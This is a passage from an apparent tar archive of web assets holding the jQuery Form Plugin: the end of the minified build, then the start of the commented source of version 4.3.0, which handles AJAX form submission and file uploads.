if(F.beforeSerialize&&!1===F.beforeSerialize(this,F))C("ajaxSubmit: submit aborted via beforeSerialize callback");else{var t=F.traditional,M=(void 0===t&&(t=O.ajaxSettings.traditional),[]),r=this.formToArray(F.semantic,M,F.filtering);if(F.data&&(a=O.isFunction(F.data)?F.data(r):F.data,F.extraData=a,l=O.param(a,t)),F.beforeSubmit&&!1===F.beforeSubmit(r,this,F))C("ajaxSubmit: submit aborted via beforeSubmit callback");else if(this.trigger("form-submit-validate",[r,this,F,e]),e.veto)C("ajaxSubmit: submit vetoed via form-submit-validate trigger");else{var o,n,i,a=O.param(r,t),s=(l&&(a=a?a+"&"+l:l),"GET"===F.type.toUpperCase()?(F.url+=(0<=F.url.indexOf("?")?"&":"?")+a,F.data=null):F.data=a,[]);F.resetForm&&s.push(function(){L.resetForm()}),F.clearForm&&s.push(function(){L.clearForm(F.includeHidden)}),!F.dataType&&F.target?(o=F.success||function(){},s.push(function(e,t,a){var r=arguments,n=F.replaceTarget?"replaceWith":"html";O(F.target)[n](e).each(function(){o.apply(this,r)})})):F.success&&(O.isArray(F.success)?O.merge(s,F.success):s.push(F.success)),F.success=function(e,t,a){for(var r=F.context||this,n=0,o=s.length;n<o;n++)s[n].apply(r,[e,t,a||L,L])},F.error&&(n=F.error,F.error=function(e,t,a){var r=F.context||this;n.apply(r,[e,t,a,L])}),F.complete&&(i=F.complete,F.complete=function(e,t){var a=F.context||this;i.apply(a,[e,t,L])});var c,e=0<O("input[type=file]:enabled",this).filter(function(){return""!==O(this).val()}).length,t="multipart/form-data",l=L.attr("enctype")===t||L.attr("encoding")===t,a=h.fileapi&&h.formdata;C("fileAPI :"+a),!1!==F.iframe&&(F.iframe||(e||l)&&!a)?F.closeKeepAlive?O.get(F.closeKeepAlive,function(){c=f(r)}):c=f(r):c=(e||l)&&a?function(e){for(var a=new FormData,t=0;t<e.length;t++)a.append(e[t].name,e[t].value);if(F.extraData){var r=function(e){var t,a,r=O.param(e,F.traditional).split("&"),n=r.length,o=[];for(t=0;t<n;t++)r[t]=r[t].replace(/\+/g," "),a=r[t].split("="),o.push([decodeURIComponent(a[0]),decodeURIComponent(a[1])]);return o}(F.extraData);for(t=0;t<r.length;t++)r[t]&&a.append(r[t][0],r[t][1])}F.data=null;var n=O.extend(!0,{},O.ajaxSettings,F,{contentType:!1,processData:!1,cache:!1,type:E||"POST"});F.uploadProgress&&(n.xhr=function(){var e=O.ajaxSettings.xhr();return e.upload&&e.upload.addEventListener("progress",function(e){var t=0,a=e.loaded||e.position,r=e.total;e.lengthComputable&&(t=Math.ceil(a/r*100)),F.uploadProgress(e,a,r,t)},!1),e});n.data=null;var o=n.beforeSend;return n.beforeSend=function(e,t){F.formData?t.data=F.formData:t.data=a,o&&o.call(this,e,t)},O.ajax(n)}(r):O.ajax(F),L.removeData("jqxhr").data("jqxhr",c);for(var u=0;u<M.length;u++)M[u]=null;this.trigger("form-submit-notify",[this,F])}}}else C("ajaxSubmit: skipping submit process - no element selected");return this;function f(e){var t,a,l,u,f,d,m,p,h,o=L[0],g=O.Deferred();if(g.abort=function(e){m.abort(e)},e)for(a=0;a<M.length;a++)t=O(M[a]),X?t.prop("disabled",!1):t.removeAttr("disabled");(l=O.extend(!0,{},O.ajaxSettings,F)).context=l.context||l;var v,x,r,y,b,T,j,w,i,S,s="jqFormIO"+(new Date).getTime(),c=o.ownerDocument,k=L.closest("body");return l.iframeTarget?(r=(f=O(l.iframeTarget,c)).attr2("name"))?s=r:f.attr2("name",s):(f=O('<iframe name="'+s+'" src="'+l.iframeSrc+'" />',c)).css({position:"absolute",top:"-1000px",left:"-1000px"}),d=f[0],m={aborted:0,responseText:null,responseXML:null,status:0,statusText:"n/a",getAllResponseHeaders:function(){},getResponseHeader:function(){},setRequestHeader:function(){},abort:function(e){var t="timeout"===e?"timeout":"aborted";C("aborting upload... "+t),this.aborted=1;try{d.contentWindow.document.execCommand&&d.contentWindow.document.execCommand("Stop")}catch(e){}f.attr("src",l.iframeSrc),m.error=t,l.error&&l.error.call(l.context,m,t,e),u&&O.event.trigger("ajaxError",[m,l,t]),l.complete&&l.complete.call(l.context,m,t)}},(u=l.global)&&0==O.active++&&O.event.trigger("ajaxStart"),u&&O.event.trigger("ajaxSend",[m,l]),l.beforeSend&&!1===l.beforeSend.call(l.context,m,l)?(l.global&&O.active--,g.reject()):m.aborted?g.reject():((e=o.clk)&&(r=e.name)&&!e.disabled&&(l.extraData=l.extraData||{},l.extraData[r]=e.value,"image"===e.type)&&(l.extraData[r+".x"]=o.clk_x,l.extraData[r+".y"]=o.clk_y),v=1,x=2,e=O("meta[name=csrf-token]").attr("content"),(r=O("meta[name=csrf-param]").attr("content"))&&e&&(l.extraData=l.extraData||{},l.extraData[r]=e),l.forceSync?n():setTimeout(n,10),T=50,w=O.parseXML||function(e,t){return window.ActiveXObject?((t=new ActiveXObject("Microsoft.XMLDOM")).async="false",t.loadXML(e)):t=(new DOMParser).parseFromString(e,"text/xml"),t&&t.documentElement&&"parsererror"!==t.documentElement.nodeName?t:null},i=O.parseJSON||function(e){return window.eval("("+e+")")},S=function(e,t,a){var r=e.getResponseHeader("content-type")||"",n=("xml"===t||!t)&&0<=r.indexOf("xml"),e=n?e.responseXML:e.responseText;return n&&"parsererror"===e.documentElement.nodeName&&O.error&&O.error("parsererror"),"string"==typeof(e=a&&a.dataFilter?a.dataFilter(e,t):e)&&(("json"===t||!t)&&0<=r.indexOf("json")?e=i(e):("script"===t||!t)&&0<=r.indexOf("javascript")&&O.globalEval(e)),e}),g;function D(t){var a=null;try{t.contentWindow&&(a=t.contentWindow.document)}catch(e){C("cannot get iframe.contentWindow document: "+e)}if(!a)try{a=t.contentDocument||t.document}catch(e){C("cannot get iframe.contentDocument: "+e),a=t.document}return a}function n(){var e=L.attr2("target"),t=L.attr2("action"),a=L.attr("enctype")||L.attr("encoding")||"multipart/form-data";o.setAttribute("target",s),E&&!/post/i.test(E)||o.setAttribute("method","POST"),t!==l.url&&o.setAttribute("action",l.url),l.skipEncodingOverride||E&&!/post/i.test(E)||L.attr({encoding:"multipart/form-data",enctype:"multipart/form-data"}),l.timeout&&(h=setTimeout(function(){p=!0,A(v)},l.timeout));var r=[];try{if(l.extraData)for(var n in l.extraData)l.extraData.hasOwnProperty(n)&&(O.isPlainObject(l.extraData[n])&&l.extraData[n].hasOwnProperty("name")&&l.extraData[n].hasOwnProperty("value")?r.push(O('<input type="hidden" name="'+l.extraData[n].name+'">',c).val(l.extraData[n].value).appendTo(o)[0]):r.push(O('<input type="hidden" name="'+n+'">',c).val(l.extraData[n]).appendTo(o)[0]));l.iframeTarget||f.appendTo(k),d.attachEvent?d.attachEvent("onload",A):d.addEventListener("load",A,!1),setTimeout(function e(){try{var t=D(d).readyState;C("state = "+t),t&&"uninitialized"===t.toLowerCase()&&setTimeout(e,50)}catch(e){C("Server abort: ",e," (",e.name,")"),A(x),h&&clearTimeout(h),h=void 0}},15);try{o.submit()}catch(e){document.createElement("form").submit.apply(o)}}finally{o.setAttribute("action",t),o.setAttribute("enctype",a),e?o.setAttribute("target",e):L.removeAttr("target"),O(r).remove()}}function A(t){if(!m.aborted&&!j)if((b=D(d))||(C("cannot access response document"),t=x),t===v&&m)m.abort("timeout"),g.reject(m,"timeout");else if(t===x&&m)m.abort("server abort"),g.reject(m,"error","server abort");else if(b&&b.location.href!==l.iframeSrc||p){d.detachEvent?d.detachEvent("onload",A):d.removeEventListener("load",A,!1);var a,t="success";try{if(p)throw"timeout";var e="xml"===l.dataType||b.XMLDocument||O.isXMLDoc(b);if(C("isXml="+e),!e&&window.opera&&(null===b.body||!b.body.innerHTML)&&--T)return C("requeing onLoad callback, DOM not available"),void setTimeout(A,250);var r,n,o,i=b.body||b.documentElement,s=(m.responseText=i?i.innerHTML:null,m.responseXML=b.XMLDocument||b,e&&(l.dataType="xml"),m.getResponseHeader=function(e){return{"content-type":l.dataType}[e.toLowerCase()]},i&&(m.status=Number(i.getAttribute("status"))||m.status,m.statusText=i.getAttribute("statusText")||m.statusText),(l.dataType||"").toLowerCase()),c=/(json|script|text)/.test(s);c||l.textarea?(r=b.getElementsByTagName("textarea")[0])?(m.responseText=r.value,m.status=Number(r.getAttribute("status"))||m.status,m.statusText=r.getAttribute("statusText")||m.statusText):c&&(n=b.getElementsByTagName("pre")[0],o=b.getElementsByTagName("body")[0],n?m.responseText=n.textContent||n.innerText:o&&(m.responseText=o.textContent||o.innerText)):"xml"===s&&!m.responseXML&&m.responseText&&(m.responseXML=w(m.responseText));try{y=S(m,s,l)}catch(e){t="parsererror",m.error=a=e||t}}catch(e){C("error caught: ",e),t="error",m.error=a=e||t}m.aborted&&(C("upload aborted"),t=null),"success"===(t=m.status?200<=m.status&&m.status<300||304===m.status?"success":"error":t)?(l.success&&l.success.call(l.context,y,"success",m),g.resolve(m.responseText,"success",m),u&&O.event.trigger("ajaxSuccess",[m,l])):t&&(void 0===a&&(a=m.statusText),l.error&&l.error.call(l.context,m,t,a),g.reject(m,"error",a),u)&&O.event.trigger("ajaxError",[m,l,a]),u&&O.event.trigger("ajaxComplete",[m,l]),u&&!--O.active&&O.event.trigger("ajaxStop"),l.complete&&l.complete.call(l.context,m,t),j=!0,l.timeout&&clearTimeout(h),setTimeout(function(){l.iframeTarget?f.attr("src",l.iframeSrc):f.remove(),m.responseXML=null},100)}}}},O.fn.ajaxForm=function(e,t,a,r){var n;return("string"==typeof e||!1===e&&0<arguments.length)&&(e={url:e,data:t,dataType:a},"function"==typeof r)&&(e.success=r),(e=e||{}).delegation=e.delegation&&O.isFunction(O.fn.on),e.delegation||0!==this.length?e.delegation?(O(document).off("submit.form-plugin",this.selector,o).off("click.form-plugin",this.selector,i).on("submit.form-plugin",this.selector,e,o).on("click.form-plugin",this.selector,e,i),this):(e.beforeFormUnbind&&e.beforeFormUnbind(this,e),this.ajaxFormUnbind().on("submit.form-plugin",e,o).on("click.form-plugin",e,i)):(n={s:this.selector,c:this.context},!O.isReady&&n.s?(C("DOM not ready, queuing ajaxForm"),O(function(){O(n.s,n.c).ajaxForm(e)})):C("terminating; zero elements found by selector"+(O.isReady?"":" (DOM not ready)")),this)},O.fn.ajaxFormUnbind=function(){return this.off("submit.form-plugin click.form-plugin")},O.fn.formToArray=function(e,t,a){var r=[];if(0!==this.length){var n=this[0],o=this.attr("id"),i=(i=e||void 0===n.elements?n.getElementsByTagName("*"):n.elements)&&O.makeArray(i);if((i=o&&(e||/(Edge|Trident)\//.test(navigator.userAgent))&&(o=O(':input[form="'+o+'"]').get()).length?(i||[]).concat(o):i)&&i.length){for(var s,c,l,u,f,d=0,m=(i=O.isFunction(a)?O.map(i,a):i).length;d<m;d++)if((f=(l=i[d]).name)&&!l.disabled)if(e&&n.clk&&"image"===l.type)n.clk===l&&(r.push({name:f,value:O(l).val(),type:l.type}),r.push({name:f+".x",value:n.clk_x},{name:f+".y",value:n.clk_y}));else if((c=O.fieldValue(l,!0))&&c.constructor===Array)for(t&&t.push(l),s=0,u=c.length;s<u;s++)r.push({name:f,value:c[s]});else if(h.fileapi&&"file"===l.type){t&&t.push(l);var p=l.files;if(p.length)for(s=0;s<p.length;s++)r.push({name:f,value:p[s],type:l.type});else r.push({name:f,value:"",type:l.type})}else null!=c&&(t&&t.push(l),r.push({name:f,value:c,type:l.type,required:l.required}));!e&&n.clk&&(f=(a=(o=O(n.clk))[0]).name)&&!a.disabled&&"image"===a.type&&(r.push({name:f,value:o.val()}),r.push({name:f+".x",value:n.clk_x},{name:f+".y",value:n.clk_y}))}}return r},O.fn.formSerialize=function(e){return O.param(this.formToArray(e))},O.fn.fieldSerialize=function(n){var o=[];return this.each(function(){var e=this.name;if(e){var t=O.fieldValue(this,n);if(t&&t.constructor===Array)for(var a=0,r=t.length;a<r;a++)o.push({name:e,value:t[a]});else null!=t&&o.push({name:this.name,value:t})}}),O.param(o)},O.fn.fieldValue=function(e){for(var t=[],a=0,r=this.length;a<r;a++){var n=this[a],n=O.fieldValue(n,e);null==n||n.constructor===Array&&!n.length||(n.constructor===Array?O.merge(t,n):t.push(n))}return t},O.fieldValue=function(e,t){var a=e.name,r=e.type,n=e.tagName.toLowerCase();if((t=void 0===t?!0:t)&&(!a||e.disabled||"reset"===r||"button"===r||("checkbox"===r||"radio"===r)&&!e.checked||("submit"===r||"image"===r)&&e.form&&e.form.clk!==e||"select"===n&&-1===e.selectedIndex))return null;if("select"!==n)return O(e).val().replace(d,"\r\n");t=e.selectedIndex;if(t<0)return null;for(var o=[],i=e.options,s="select-one"===r,c=s?t+1:i.length,l=s?t:0;l<c;l++){var u=i[l];if(u.selected&&!u.disabled){var f=(f=u.value)||(u.attributes&&u.attributes.value&&!u.attributes.value.specified?u.text:u.value);if(s)return f;o.push(f)}}return o},O.fn.clearForm=function(e){return this.each(function(){O("input,select,textarea",this).clearFields(e)})},O.fn.clearFields=O.fn.clearInputs=function(a){var r=/^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i;return this.each(function(){var e=this.type,t=this.tagName.toLowerCase();r.test(e)||"textarea"===t?this.value="":"checkbox"===e||"radio"===e?this.checked=!1:"select"===t?this.selectedIndex=-1:"file"===e?/MSIE/.test(navigator.userAgent)?O(this).replaceWith(O(this).clone(!0)):O(this).val(""):a&&(!0===a&&/hidden/.test(e)||"string"==typeof a&&O(this).is(a))&&(this.value="")})},O.fn.resetForm=function(){return this.each(function(){var t=O(this),e=this.tagName.toLowerCase();switch(e){case"input":this.checked=this.defaultChecked;case"textarea":return this.value=this.defaultValue,!0;case"option":case"optgroup":var a=t.parents("select");return a.length&&a[0].multiple?"option"===e?this.selected=this.defaultSelected:t.find("option").resetForm():a.resetForm(),!0;case"select":return t.find("option").each(function(e){if(this.selected=this.defaultSelected,this.defaultSelected&&!t[0].multiple)return t[0].selectedIndex=e,!1}),!0;case"label":var a=O(t.attr("for")),r=t.find("input,select,textarea");return a[0]&&r.unshift(a[0]),r.resetForm(),!0;case"form":return"function"!=typeof this.reset&&("object"!=typeof this.reset||this.reset.nodeType)||this.reset(),!0;default:return t.find("form,input,label,select,textarea").resetForm(),!0}})},O.fn.enable=function(e){return void 0===e&&(e=!0),this.each(function(){this.disabled=!e})},O.fn.selected=function(t){return void 0===t&&(t=!0),this.each(function(){var e=this.type;"checkbox"===e||"radio"===e?this.checked=t:"option"===this.tagName.toLowerCase()&&(e=O(this).parent("select"),t&&e[0]&&"select-one"===e[0].type&&e.find("option").selected(!1),this.selected=t)})},O.fn.ajaxSubmit.debug=!1}); jquery/jquery.form.js 0000644 00000121667 15111757755 0010735 0 ustar 00 /*! * jQuery Form Plugin * version: 4.3.0 * Requires jQuery v1.7.2 or later * Project repository: https://github.com/jquery-form/form * Copyright 2017 Kevin Morris * Copyright 2006 M. Alsup * Dual licensed under the LGPL-2.1+ or MIT licenses * https://github.com/jquery-form/form#license * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. */ /* global ActiveXObject */ /* eslint-disable */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function( root, jQuery ) { if (typeof jQuery === 'undefined') { // require('jQuery') returns a factory that requires window to build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } }(function ($) { /* eslint-enable */ 'use strict'; /* Usage Note: ----------- Do not use both ajaxSubmit and ajaxForm on the same form. These functions are mutually exclusive. Use ajaxSubmit if you want to bind your own submit handler to the form. For example, $(document).ready(function() { $('#myForm').on('submit', function(e) { e.preventDefault(); // <-- important $(this).ajaxSubmit({ target: '#output' }); }); }); Use ajaxForm when you want the plugin to manage all the event binding for you. For example, $(document).ready(function() { $('#myForm').ajaxForm({ target: '#output' }); }); You can also use ajaxForm with delegation (requires jQuery v1.7+), so the form does not have to exist when you invoke ajaxForm: $('#myForm').ajaxForm({ delegation: true, target: '#output' }); When using ajaxForm, the ajaxSubmit function will be invoked for you at the appropriate time. */ var rCRLF = /\r?\n/g; /** * Feature detection */ var feature = {}; feature.fileapi = $('<input type="file">').get(0).files !== undefined; feature.formdata = (typeof window.FormData !== 'undefined'); var hasProp = !!$.fn.prop; // attr2 uses prop when it can but checks the return type for // an expected string. This accounts for the case where a form // contains inputs with names like "action" or "method"; in those // cases "prop" returns the element $.fn.attr2 = function() { if (!hasProp) { return this.attr.apply(this, arguments); } var val = this.prop.apply(this, arguments); if ((val && val.jquery) || typeof val === 'string') { return val; } return this.attr.apply(this, arguments); }; /** * ajaxSubmit() provides a mechanism for immediately submitting * an HTML form using AJAX. * * @param {object|string} options jquery.form.js parameters or custom url for submission * @param {object} data extraData * @param {string} dataType ajax dataType * @param {function} onSuccess ajax success callback function */ $.fn.ajaxSubmit = function(options, data, dataType, onSuccess) { // fast fail if nothing selected (http://dev.jquery.com/ticket/2752) if (!this.length) { log('ajaxSubmit: skipping submit process - no element selected'); return this; } /* eslint consistent-this: ["error", "$form"] */ var method, action, url, isMsie, iframeSrc, $form = this; if (typeof options === 'function') { options = {success: options}; } else if (typeof options === 'string' || (options === false && arguments.length > 0)) { options = { 'url' : options, 'data' : data, 'dataType' : dataType }; if (typeof onSuccess === 'function') { options.success = onSuccess; } } else if (typeof options === 'undefined') { options = {}; } method = options.method || options.type || this.attr2('method'); action = options.url || this.attr2('action'); url = (typeof action === 'string') ? $.trim(action) : ''; url = url || window.location.href || ''; if (url) { // clean url (don't include hash vaue) url = (url.match(/^([^#]+)/) || [])[1]; } // IE requires javascript:false in https, but this breaks chrome >83 and goes against spec. // Instead of using javascript:false always, let's only apply it for IE. isMsie = /(MSIE|Trident)/.test(navigator.userAgent || ''); iframeSrc = (isMsie && /^https/i.test(window.location.href || '')) ? 'javascript:false' : 'about:blank'; // eslint-disable-line no-script-url options = $.extend(true, { url : url, success : $.ajaxSettings.success, type : method || $.ajaxSettings.type, iframeSrc : iframeSrc }, options); // hook for manipulating the form data before it is extracted; // convenient for use with rich editors like tinyMCE or FCKEditor var veto = {}; this.trigger('form-pre-serialize', [this, options, veto]); if (veto.veto) { log('ajaxSubmit: submit vetoed via form-pre-serialize trigger'); return this; } // provide opportunity to alter form data before it is serialized if (options.beforeSerialize && options.beforeSerialize(this, options) === false) { log('ajaxSubmit: submit aborted via beforeSerialize callback'); return this; } var traditional = options.traditional; if (typeof traditional === 'undefined') { traditional = $.ajaxSettings.traditional; } var elements = []; var qx, a = this.formToArray(options.semantic, elements, options.filtering); if (options.data) { var optionsData = $.isFunction(options.data) ? options.data(a) : options.data; options.extraData = optionsData; qx = $.param(optionsData, traditional); } // give pre-submit callback an opportunity to abort the submit if (options.beforeSubmit && options.beforeSubmit(a, this, options) === false) { log('ajaxSubmit: submit aborted via beforeSubmit callback'); return this; } // fire vetoable 'validate' event this.trigger('form-submit-validate', [a, this, options, veto]); if (veto.veto) { log('ajaxSubmit: submit vetoed via form-submit-validate trigger'); return this; } var q = $.param(a, traditional); if (qx) { q = (q ? (q + '&' + qx) : qx); } if (options.type.toUpperCase() === 'GET') { options.url += (options.url.indexOf('?') >= 0 ? '&' : '?') + q; options.data = null; // data is null for 'get' } else { options.data = q; // data is the query string for 'post' } var callbacks = []; if (options.resetForm) { callbacks.push(function() { $form.resetForm(); }); } if (options.clearForm) { callbacks.push(function() { $form.clearForm(options.includeHidden); }); } // perform a load on the target only if dataType is not provided if (!options.dataType && options.target) { var oldSuccess = options.success || function(){}; callbacks.push(function(data, textStatus, jqXHR) { var successArguments = arguments, fn = options.replaceTarget ? 'replaceWith' : 'html'; $(options.target)[fn](data).each(function(){ oldSuccess.apply(this, successArguments); }); }); } else if (options.success) { if ($.isArray(options.success)) { $.merge(callbacks, options.success); } else { callbacks.push(options.success); } } options.success = function(data, status, xhr) { // jQuery 1.4+ passes xhr as 3rd arg var context = options.context || this; // jQuery 1.4+ supports scope context for (var i = 0, max = callbacks.length; i < max; i++) { callbacks[i].apply(context, [data, status, xhr || $form, $form]); } }; if (options.error) { var oldError = options.error; options.error = function(xhr, status, error) { var context = options.context || this; oldError.apply(context, [xhr, status, error, $form]); }; } if (options.complete) { var oldComplete = options.complete; options.complete = function(xhr, status) { var context = options.context || this; oldComplete.apply(context, [xhr, status, $form]); }; } // are there files to upload? // [value] (issue #113), also see comment: // https://github.com/malsup/form/commit/588306aedba1de01388032d5f42a60159eea9228#commitcomment-2180219 var fileInputs = $('input[type=file]:enabled', this).filter(function() { return $(this).val() !== ''; }); var hasFileInputs = fileInputs.length > 0; var mp = 'multipart/form-data'; var multipart = ($form.attr('enctype') === mp || $form.attr('encoding') === mp); var fileAPI = feature.fileapi && feature.formdata; log('fileAPI :' + fileAPI); var shouldUseFrame = (hasFileInputs || multipart) && !fileAPI; var jqxhr; // options.iframe allows user to force iframe mode // 06-NOV-09: now defaulting to iframe mode if file input is detected if (options.iframe !== false && (options.iframe || shouldUseFrame)) { // hack to fix Safari hang (thanks to Tim Molendijk for this) // see: http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d if (options.closeKeepAlive) { $.get(options.closeKeepAlive, function() { jqxhr = fileUploadIframe(a); }); } else { jqxhr = fileUploadIframe(a); } } else if ((hasFileInputs || multipart) && fileAPI) { jqxhr = fileUploadXhr(a); } else { jqxhr = $.ajax(options); } $form.removeData('jqxhr').data('jqxhr', jqxhr); // clear element array for (var k = 0; k < elements.length; k++) { elements[k] = null; } // fire 'notify' event this.trigger('form-submit-notify', [this, options]); return this; // utility fn for deep serialization function deepSerialize(extraData) { var serialized = $.param(extraData, options.traditional).split('&'); var len = serialized.length; var result = []; var i, part; for (i = 0; i < len; i++) { // #252; undo param space replacement serialized[i] = serialized[i].replace(/\+/g, ' '); part = serialized[i].split('='); // #278; use array instead of object storage, favoring array serializations result.push([decodeURIComponent(part[0]), decodeURIComponent(part[1])]); } return result; } // XMLHttpRequest Level 2 file uploads (big hat tip to francois2metz) function fileUploadXhr(a) { var formdata = new FormData(); for (var i = 0; i < a.length; i++) { formdata.append(a[i].name, a[i].value); } if (options.extraData) { var serializedData = deepSerialize(options.extraData); for (i = 0; i < serializedData.length; i++) { if (serializedData[i]) { formdata.append(serializedData[i][0], serializedData[i][1]); } } } options.data = null; var s = $.extend(true, {}, $.ajaxSettings, options, { contentType : false, processData : false, cache : false, type : method || 'POST' }); if (options.uploadProgress) { // workaround because jqXHR does not expose upload property s.xhr = function() { var xhr = $.ajaxSettings.xhr(); if (xhr.upload) { xhr.upload.addEventListener('progress', function(event) { var percent = 0; var position = event.loaded || event.position; /* event.position is deprecated */ var total = event.total; if (event.lengthComputable) { percent = Math.ceil(position / total * 100); } options.uploadProgress(event, position, total, percent); }, false); } return xhr; }; } s.data = null; var beforeSend = s.beforeSend; s.beforeSend = function(xhr, o) { // Send FormData() provided by user if (options.formData) { o.data = options.formData; } else { o.data = formdata; } if (beforeSend) { beforeSend.call(this, xhr, o); } }; return $.ajax(s); } // private function for handling file uploads (hat tip to YAHOO!) function fileUploadIframe(a) { var form = $form[0], el, i, s, g, id, $io, io, xhr, sub, n, timedOut, timeoutHandle; var deferred = $.Deferred(); // #341 deferred.abort = function(status) { xhr.abort(status); }; if (a) { // ensure that every serialized input is still enabled for (i = 0; i < elements.length; i++) { el = $(elements[i]); if (hasProp) { el.prop('disabled', false); } else { el.removeAttr('disabled'); } } } s = $.extend(true, {}, $.ajaxSettings, options); s.context = s.context || s; id = 'jqFormIO' + new Date().getTime(); var ownerDocument = form.ownerDocument; var $body = $form.closest('body'); if (s.iframeTarget) { $io = $(s.iframeTarget, ownerDocument); n = $io.attr2('name'); if (!n) { $io.attr2('name', id); } else { id = n; } } else { $io = $('<iframe name="' + id + '" src="' + s.iframeSrc + '" />', ownerDocument); $io.css({position: 'absolute', top: '-1000px', left: '-1000px'}); } io = $io[0]; xhr = { // mock object aborted : 0, responseText : null, responseXML : null, status : 0, statusText : 'n/a', getAllResponseHeaders : function() {}, getResponseHeader : function() {}, setRequestHeader : function() {}, abort : function(status) { var e = (status === 'timeout' ? 'timeout' : 'aborted'); log('aborting upload... ' + e); this.aborted = 1; try { // #214, #257 if (io.contentWindow.document.execCommand) { io.contentWindow.document.execCommand('Stop'); } } catch (ignore) {} $io.attr('src', s.iframeSrc); // abort op in progress xhr.error = e; if (s.error) { s.error.call(s.context, xhr, e, status); } if (g) { $.event.trigger('ajaxError', [xhr, s, e]); } if (s.complete) { s.complete.call(s.context, xhr, e); } } }; g = s.global; // trigger ajax global events so that activity/block indicators work like normal if (g && $.active++ === 0) { $.event.trigger('ajaxStart'); } if (g) { $.event.trigger('ajaxSend', [xhr, s]); } if (s.beforeSend && s.beforeSend.call(s.context, xhr, s) === false) { if (s.global) { $.active--; } deferred.reject(); return deferred; } if (xhr.aborted) { deferred.reject(); return deferred; } // add submitting element to data if we know it sub = form.clk; if (sub) { n = sub.name; if (n && !sub.disabled) { s.extraData = s.extraData || {}; s.extraData[n] = sub.value; if (sub.type === 'image') { s.extraData[n + '.x'] = form.clk_x; s.extraData[n + '.y'] = form.clk_y; } } } var CLIENT_TIMEOUT_ABORT = 1; var SERVER_ABORT = 2; function getDoc(frame) { /* it looks like contentWindow or contentDocument do not * carry the protocol property in ie8, when running under ssl * frame.document is the only valid response document, since * the protocol is know but not on the other two objects. strange? * "Same origin policy" http://en.wikipedia.org/wiki/Same_origin_policy */ var doc = null; // IE8 cascading access check try { if (frame.contentWindow) { doc = frame.contentWindow.document; } } catch (err) { // IE8 access denied under ssl & missing protocol log('cannot get iframe.contentWindow document: ' + err); } if (doc) { // successful getting content return doc; } try { // simply checking may throw in ie8 under ssl or mismatched protocol doc = frame.contentDocument ? frame.contentDocument : frame.document; } catch (err) { // last attempt log('cannot get iframe.contentDocument: ' + err); doc = frame.document; } return doc; } // Rails CSRF hack (thanks to Yvan Barthelemy) var csrf_token = $('meta[name=csrf-token]').attr('content'); var csrf_param = $('meta[name=csrf-param]').attr('content'); if (csrf_param && csrf_token) { s.extraData = s.extraData || {}; s.extraData[csrf_param] = csrf_token; } // take a breath so that pending repaints get some cpu time before the upload starts function doSubmit() { // make sure form attrs are set var t = $form.attr2('target'), a = $form.attr2('action'), mp = 'multipart/form-data', et = $form.attr('enctype') || $form.attr('encoding') || mp; // update form attrs in IE friendly way form.setAttribute('target', id); if (!method || /post/i.test(method)) { form.setAttribute('method', 'POST'); } if (a !== s.url) { form.setAttribute('action', s.url); } // ie borks in some cases when setting encoding if (!s.skipEncodingOverride && (!method || /post/i.test(method))) { $form.attr({ encoding : 'multipart/form-data', enctype : 'multipart/form-data' }); } // support timout if (s.timeout) { timeoutHandle = setTimeout(function() { timedOut = true; cb(CLIENT_TIMEOUT_ABORT); }, s.timeout); } // look for server aborts function checkState() { try { var state = getDoc(io).readyState; log('state = ' + state); if (state && state.toLowerCase() === 'uninitialized') { setTimeout(checkState, 50); } } catch (e) { log('Server abort: ', e, ' (', e.name, ')'); cb(SERVER_ABORT); // eslint-disable-line callback-return if (timeoutHandle) { clearTimeout(timeoutHandle); } timeoutHandle = undefined; } } // add "extra" data to form if provided in options var extraInputs = []; try { if (s.extraData) { for (var n in s.extraData) { if (s.extraData.hasOwnProperty(n)) { // if using the $.param format that allows for multiple values with the same name if ($.isPlainObject(s.extraData[n]) && s.extraData[n].hasOwnProperty('name') && s.extraData[n].hasOwnProperty('value')) { extraInputs.push( $('<input type="hidden" name="' + s.extraData[n].name + '">', ownerDocument).val(s.extraData[n].value) .appendTo(form)[0]); } else { extraInputs.push( $('<input type="hidden" name="' + n + '">', ownerDocument).val(s.extraData[n]) .appendTo(form)[0]); } } } } if (!s.iframeTarget) { // add iframe to doc and submit the form $io.appendTo($body); } if (io.attachEvent) { io.attachEvent('onload', cb); } else { io.addEventListener('load', cb, false); } setTimeout(checkState, 15); try { form.submit(); } catch (err) { // just in case form has element with name/id of 'submit' var submitFn = document.createElement('form').submit; submitFn.apply(form); } } finally { // reset attrs and remove "extra" input elements form.setAttribute('action', a); form.setAttribute('enctype', et); // #380 if (t) { form.setAttribute('target', t); } else { $form.removeAttr('target'); } $(extraInputs).remove(); } } if (s.forceSync) { doSubmit(); } else { setTimeout(doSubmit, 10); // this lets dom updates render } var data, doc, domCheckCount = 50, callbackProcessed; function cb(e) { if (xhr.aborted || callbackProcessed) { return; } doc = getDoc(io); if (!doc) { log('cannot access response document'); e = SERVER_ABORT; } if (e === CLIENT_TIMEOUT_ABORT && xhr) { xhr.abort('timeout'); deferred.reject(xhr, 'timeout'); return; } if (e === SERVER_ABORT && xhr) { xhr.abort('server abort'); deferred.reject(xhr, 'error', 'server abort'); return; } if (!doc || doc.location.href === s.iframeSrc) { // response not received yet if (!timedOut) { return; } } if (io.detachEvent) { io.detachEvent('onload', cb); } else { io.removeEventListener('load', cb, false); } var status = 'success', errMsg; try { if (timedOut) { throw 'timeout'; } var isXml = s.dataType === 'xml' || doc.XMLDocument || $.isXMLDoc(doc); log('isXml=' + isXml); if (!isXml && window.opera && (doc.body === null || !doc.body.innerHTML)) { if (--domCheckCount) { // in some browsers (Opera) the iframe DOM is not always traversable when // the onload callback fires, so we loop a bit to accommodate log('requeing onLoad callback, DOM not available'); setTimeout(cb, 250); return; } // let this fall through because server response could be an empty document // log('Could not access iframe DOM after mutiple 